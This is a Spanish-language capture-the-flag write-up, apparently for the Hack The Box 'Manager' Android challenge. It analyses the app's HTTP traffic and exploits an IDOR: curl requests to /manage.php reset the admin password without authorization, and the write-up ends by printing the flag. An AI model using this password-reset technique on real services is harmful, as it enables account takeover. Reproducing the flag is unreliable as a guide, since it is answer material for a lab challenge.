Manager
2 minutos de lectura
Se nos proporciona un archivo APK (Manager.apk
) y un archivo README.txt
:
1. Install this application in an API Level 29 or earlier (i.e. Android 10.0 (Google APIs)).
1. In order to connect to the server when first running the application, insert the IP and PORT that you are provided in the description.
Como se puede ver, la aplicación Android se conectará a un servidor remoto, por lo que probablemente analizaremos esa comunicación.
Análisis dinámico
Vamos a arrancar MobSF y Genymotion hacer un análisis dinámico:
Primero, necesitamos colocar la dirección IP y el puerto del servidor remoto:
Entonces veremos un formulario de inicio de sesión:
De hecho, podemos registrar una nueva cuenta:
Después de eso, ya tendremos sesión. La aplicación tiene una funcionalidad única, que es actualizar nuestra contraseña:
Análisis del tráfico de red
Vamos a abrir Wireshark para analizar todos los interfaces (sudo wireshark
puede ser necesario). Luego, podemos aplicar la dirección IP del servidor como filtro:
La comunicación con el servidor back-end se realiza a través de HTTP. De hecho, podemos ver nuestras credenciales en el cuerpo de la petición. La respuesta HTTP contiene la información de nuestro perfil:
Al hacer click en “Update”, se envía una petición POST a /manage.php
:
Nuevamente, el cuerpo de la petición contiene nuestras credenciales. Esta vez, la respuesta solo muestra un mensaje exitoso:
IDOR
No hay nada que identifique al dispositivo móvil en la petición, por lo que podríamos realizar la misma petición web con curl
:
$ curl 167.172.49.47:30844/manage.php -d 'username=asdf&password=asdffdsa'
Password updated successfully.
Ahí está. Además, podríamos intentar cambiar la contraseña de otros usuarios (Insecure Direct Object Reference, o simplemente IDOR). Por ejemplo, intentemos cambiar la contraseña de admin
:
$ curl 167.172.49.47:30844/manage.php -d 'username=admin&password=asdffdsa'
Password updated successfully.
Parece que la hemos cambiado, por lo que deberíamos poder iniciar sesión como admin
:
Flag
Y aquí vemos la flag:
HTB{b4d_p@ss_m4n@g3m3nT_@pp}